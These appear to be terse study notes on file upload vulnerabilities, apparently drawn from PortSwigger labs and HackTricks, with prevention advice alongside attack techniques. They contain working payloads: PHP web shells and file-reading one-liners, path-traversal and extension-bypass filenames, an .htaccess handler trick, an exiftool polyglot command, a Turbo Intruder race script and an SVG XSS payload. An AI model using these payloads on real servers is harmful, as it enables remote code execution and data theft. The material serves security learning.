File upload

What are file upload vulnerabilities?

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.

This could even include server-side script files that enable remote code execution.

In some cases, the act of uploading the file is in itself enough to cause damage.

impact

impact of file upload vulnerabilities generally depends on two key factors:

Which aspect of the file the website fails to validate properly, whether that be its size, type, contents, and so on.

What restrictions are imposed on the file once it has been successfully uploaded.

executed as code

full control over the server.

If the filename isn't validated properly, this could allow an attacker to overwrite critical files simply by uploading a file with the same name.

If the server is also vulnerable to directory traversal, this could mean attackers are even able to upload files to unanticipated locations.

How do file upload vulnerabilities arise?

Given the fairly obvious dangers, it's rare for websites in the wild to have no restrictions whatsoever on which files users are allowed to upload.

they may attempt to blacklist dangerous file types, but fail to account for parsing discrepancies when checking the file extensions.

the website may attempt to check the file type by verifying properties that can be easily manipulated by an attacker using tools like Burp Proxy or Repeater.

How do web servers handle requests for static files?

If this file type is non-executable, such as an image or a static HTML page, the server may just send the file's contents to the client in an HTTP response.

If the file type is executable, such as a PHP file, and the server is configured to execute files of this type, it will assign variables based on the headers and parameters in the HTTP request before running the script.

The resulting output may then be sent to the client in an HTTP response.

If the file type is executable, but the server is not configured to execute files of this type, it will generally respond with an error.

Preventing

While it's clearly better to prevent dangerous file types being uploaded in the first place, the second line of defense is to stop the server from executing any scripts that do slip through the net.

servers generally only run scripts whose MIME type they have been explicitly configured to execute.

In this Case if upload exp.php serverwill read it as plain text and print content in web page

Check the file extension against a whitelist of permitted extensions rather than a blacklist of prohibited ones.

Make sure the filename doesn't contain any substrings that may be interpreted as a directory or a traversal sequence (../).

Rename uploaded files to avoid collisions that may cause existing files to be overwritten

Do not upload files to the server's permanent filesystem until they have been fully validated.

As much as possible, use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms

Resources

portswigger

hacktricks

Exploiting unrestricted file uploads

deploy a web shell

PHP one-liner could be used to read arbitrary files from the server's filesystem:

<?php echo file_get_contents('/home/carlos/secret'); ?>

GET /example/exploit.php?command=id HTTP/1.1 <?php echo system($_GET['command']); ?>

file type validation

content type application/x-www-form-urlencoded

This is fine for sending simple text like your name, address, and so on

content type multipart/form-data

for sending large amounts of binary data, such as an entire image file or a PDF document.

Content-Disposition header, which provides some basic information about the input field it relates to

individual parts may also contain their own Content-Type header, which tells the server the MIME type of the data that was submitted using this input.

Manipulate MIME Type From img.jpg to img.php

image/jpeg and image/png

Web shell upload via path traversal

Web servers often use the filename field in multipart/form-data requests to determine the name and location where the file should be saved.

If web server print content of exp.php in source code, but it nullifies any attempt to create a web shell

This behavior is potentially interesting in its own right, as it may provide a way to leak source code

bypass

Content-Disposition: form-data; name="avatar"; filename="../%2fexploit.php"

Change Location of File

then visit , GET /files/avatars/../%2fexploit.php

blacklisting

blacklist config

LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php /etc/apache2/apache2.conf

<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent> web.config IIS

extensions

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc

ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion: .cfm, .cfml, .cfc, .dbm

Flash: .swf

Perl: .pl, .cgi

Erlang Yaws Web Server: .yaws

Bypass file extensions checks

file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php.…
file.pHp5
file.png.php
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png
file.png.jpg.php

Obfuscating file extensions

upload two different files to solve this lab.

1. filename = .htaccess
2. Content-Type = text/plain
3. Replace the contents of the file (your PHP payload) with the following Apache directive:
4. AddType application/x-httpd-php .l33t

.htaccess

exploit.l33t

MIME type is not case sensitive

exploit.php.jpg

Add trailing characters : exploit.php.

exploit%2Ephp

exploit.asp;.jpg or exploit.asp%00.jpg

exploit.p.phphp

Try using multibyte unicode characters,like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.

validation of the file's contents

Create a polyglot PHP/JPG file

that is fundamentally a normal image, but contains your PHP payload in its

exiftool -Comment="<?php echo 'START' . file_get_contents('/home/carlos/secret') . 'END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php

inspect :START secrit END

race conditions

Modern frameworks are more battle-hardened against these kinds of attacks

1. They generally don't upload files directly to their intended destination on the filesystem

2. they take precautions like uploading to a temporary, sandboxed directory first and randomizing the name to avoid overwriting existing files.

3. They then perform validation on this temporary file and only transfer it to its destination once it is deemed safe to do so.

it can also introduce dangerous race conditions that enable an attacker to completely bypass even the most robust validation.

developers sometimes implement their own processing of file uploads independently of any framework.

For example, some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware.This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.

Race conditions in URL-based file uploads

1, add the Turbo Intruder extension to Burp from the BApp store.

2. Right-click on the POST /my-account/avatar request that was used to submit the file upload and select Extensions > Turbo Intruder > Send to turbo intruder.

Exploit

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = "<YOUR-POST-REQUEST>" #POST /my-account/avatar/exploit.php

    request2 = "<YOUR-GET-REQUEST>" #GET /files/avatars/exploit.php

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
```

in Turbo Intruder's Python editor

As you can see from the source code above, the uploaded file is moved to an accessible folder, where it is checked for viruses. Malicious files are only removed once the virus check is complete. This means it's possible to execute the file in the small time-window before it is removed.

Vuln Code

These vulnerabilities are often extremely subtle, making them difficult to detect during blackbox testing unless you can find a way to leak the relevant source code.

another Exploit

xss via upload file by svg # search xss SVG ghostlulz :and save code as img.svg

stored XSS

`"><img src=z onerror=prompt("xss")>.svg

XXE injection

SWF "flash" To xss # search xss SWF github

Uploading files using PUT

```
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>
```

You can try sending OPTIONS requests to different endpoints to test for any that advertise support for the PUT method.